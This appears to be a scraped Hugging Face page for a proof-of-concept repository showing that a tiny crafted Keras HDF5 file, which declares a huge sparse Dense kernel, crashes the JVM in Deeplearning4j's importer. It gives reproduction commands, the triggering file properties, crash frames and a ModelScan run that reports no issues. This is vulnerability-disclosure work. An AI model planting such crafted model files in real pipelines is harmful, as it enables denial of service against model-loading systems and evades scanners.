Downloads · 30 days
0
pragnyanramtha/dl4j-keras-hdf5-native-crash-poc
dl4j-keras-hdf5-native-crash-poc is a machine learning model from pragnyanramtha. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
This repository contains a benign model-file-format PoC for Deeplearning4j's Keras HDF5 import path. A tiny HDF5 model file declares a Dense kernel with very large dimensions while storing no concrete tensor data beyo…
Downloads · 30 days
0
Access
Public
Updated May 12, 2026
Repo size
5.4 KB
Likes
0
Public
Click a slice to open those files.
.log90.6 KB · 83%
From the Hugging Face model README
This repository contains a benign model-file-format PoC for Deeplearning4j's Keras HDF5 import path. A tiny HDF5 model file declares a Dense kernel with very large dimensions while storing no concrete tensor data beyond sparse HDF5 metadata. DL4J accepts the artifact through its public Keras importer and crashes the JVM in native code during weight loading.
keras-seq-dense-huge-kernel-v2dict.h5: 5.3 KiB Keras HDF5 artifact.make_poc.py: generator for an equivalent sparse HDF5 artifact.verify_poc.sh: builds the Java verifier and runs the vulnerable import path.src/main/java/dl4jpoc/LoadKerasSequential.java: minimal harness that calls KerasModelImport.importKerasSequentialModelAndWeights(...).results/runtime_sigsegv_output.txt: captured JVM crash output.results/hs_err_sigsegv.log: captured JVM fatal error report.results/modelscan_0.8.8_output.json: scanner output captured locally..h5org.deeplearning4j:deeplearning4j-core1.0.0-M2.11.0.0-M2.1 as latest/release.KerasModelImport.importKerasSequentialModelAndWeights(path, false)Hdf5Archive.readDataSet(...) during KerasModelUtils.importWeights(...)17.0.19+101.5.7, Bytedeco HDF5 1.12.1-1.5.7The artifact is only 5360 bytes but declares a Dense kernel dataset with shape (65536, 65536) and dtype float32. The dataset is chunked with a fill value, so HDF5 stores it sparsely. DL4J's Keras importer trusts the artifact-controlled HDF5 shape while reading weights, allocates Java-side buffers, passes them through JavaCPP/HDF5 native code, and the process terminates with SIGSEGV.
This is a model-file-carried denial of service/native crash in a public model import workflow. No code execution, persistence, file write, or credential access is claimed.
Prerequisites: JDK 11+ and Maven.
hf download pragnyanramtha/dl4j-keras-hdf5-native-crash-poc \
--repo-type model \
--local-dir dl4j-keras-hdf5-native-crash-poc
cd dl4j-keras-hdf5-native-crash-poc
./verify_poc.sh
Expected vulnerable output includes:
importing=keras-seq-dense-huge-kernel-v2dict.h5
A fatal error has been detected by the Java Runtime Environment:
SIGSEGV
The crash happened outside the Java Virtual Machine in native code.
The direct Java call is:
mvn -q -DskipTests compile dependency:build-classpath -Dmdep.outputFile=target/classpath.txt
java -Xmx128m \
-XX:ErrorFile=results/hs_err_pid%p.log \
-cp "target/classes:$(cat target/classpath.txt)" \
dl4jpoc.LoadKerasSequential keras-seq-dense-huge-kernel-v2dict.h5
The captured fatal error report includes the DL4J importer frames:
org.deeplearning4j.nn.modelimport.keras.Hdf5Archive.readDataSet(...)
org.deeplearning4j.nn.modelimport.keras.utils.KerasModelUtils.importWeights(...)
org.deeplearning4j.nn.modelimport.keras.KerasModelImport.importKerasSequentialModelAndWeights(...)
The PoC creates a Keras-style HDF5 file with these key properties:
model_config describes a Sequential model with one Dense layer.batch_input_shape is [null, 65536].units is 65536.model_weights/dense/dense/kernel:0 is an HDF5 dataset with shape (65536, 65536), dtype float32, chunks (1, 1), and fill value 0.0.Generate an equivalent artifact:
python3 -m pip install h5py
python3 make_poc.py --out generated.h5
ModelScan 0.8.8 scans the HDF5 file with H5LambdaDetectScan, reports one scanned file, and reports zero issues/errors:
modelscan_version: 0.8.8
total_issues: 0
scanned_files: ["keras-seq-dense-huge-kernel-v2dict.h5"]
Scanner reproduction:
modelscan -p keras-seq-dense-huge-kernel-v2dict.h5 -r json -o results/modelscan_0.8.8_output.json
SHA256(keras-seq-dense-huge-kernel-v2dict.h5)=a2b271c4a5a7193ebbdefd3be0c3b018dd5f69bb5a98929fd976201f21dd7941
Size=5360 bytes
ModelSerializer ZIP artifact.